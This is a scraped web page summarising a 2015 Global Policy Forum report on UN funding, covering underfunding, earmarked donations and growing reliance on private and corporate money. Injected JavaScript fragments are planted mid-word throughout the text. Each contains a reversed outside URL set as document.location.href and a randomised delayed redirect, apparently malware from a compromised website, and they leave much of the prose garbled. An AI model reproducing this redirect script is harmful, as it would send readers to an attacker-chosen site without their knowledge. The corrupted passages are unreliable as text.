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Global Governance Funding: the Changing Landscape.

21st November 2015

Presented by Sidney,

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GLOBAL  POLICY  FORUM

Global Policy Forum is an independent policy watchdog that monitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tors the work of the United Nations and scrutinizes global policymaking. GPF analyzes deep and persistent structures of power and dissects rapidly-emerging issues and crises.

Their website: globalpolicy.org .

Barbara ADAMS

Jens MARTENS

Fit for Purpose ? Private funding and corporate influence in the United Nations. 09/2015

 

 

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While at first glance around $40 billion per year may seem toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be a substantial sum, in reality the overall budget of the whole UN system is smaller than the budget of New York City, less than a quarter of the budget of the EU, and only 2.3% of the world’s military expenditures.

The structural underfunding of the UN system and its dependence on a limited number of donors has led the UN toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to search for new funding sources, particularly in the private and business sectoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor.

In the first decades of the organization’s existence, private actoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tors, whether they be companies, NGOs or philanthropic foundations, did not contribute financially toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the UN – with a few notable exceptions. One particularly symbolic exception was the gift of multimillionaire John Rockefeller Jr. At the end of the 1940s, he donated $8.5 million toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to purchase a piece of land on the banks of New York’s East River for UN’s headquarters.

Today, the piecemeal and market-menu approach has severe consequences for the multilateral quality of the UN system. Donor contributions toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the UN development system, while increasing substantially in amount, have shifted away from core funding toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towards non-core or earmarked funding – mostly for projects from a single or small group of donors, on programme-specific toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}topics.

This change in funding practices has deep implications for global governance. Earmarking runs the risk of turning UN agencies, funds and programmes intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to contractoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tors for bilateral or public-private projects, eroding the multilateral character of the system and undermining democratic governance.

Donor earmarking of funds can exacerbate “mission creep” within UN development bodies by pushing them toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to undertake projects outside their core mandates. This furthers fragmentation and incoherence across the UN system, weakening accountability and risking the reliance on and consequent capture of UN institutions by a limited number of donors.

The United Nations is embarking on a new era of corporate-led solutions toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to global problems.

Traditionally, contributions toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the UN trust funds have come mainly from individual Member States and governmental agencies. Yet in recent years, the trust funds have been used more frequently toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to channel private money intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the UN. Detailed information about these flows, the donors and their donations, are not publicly available. The UN does not systematically disclose comprehensive data on these private flows.

 

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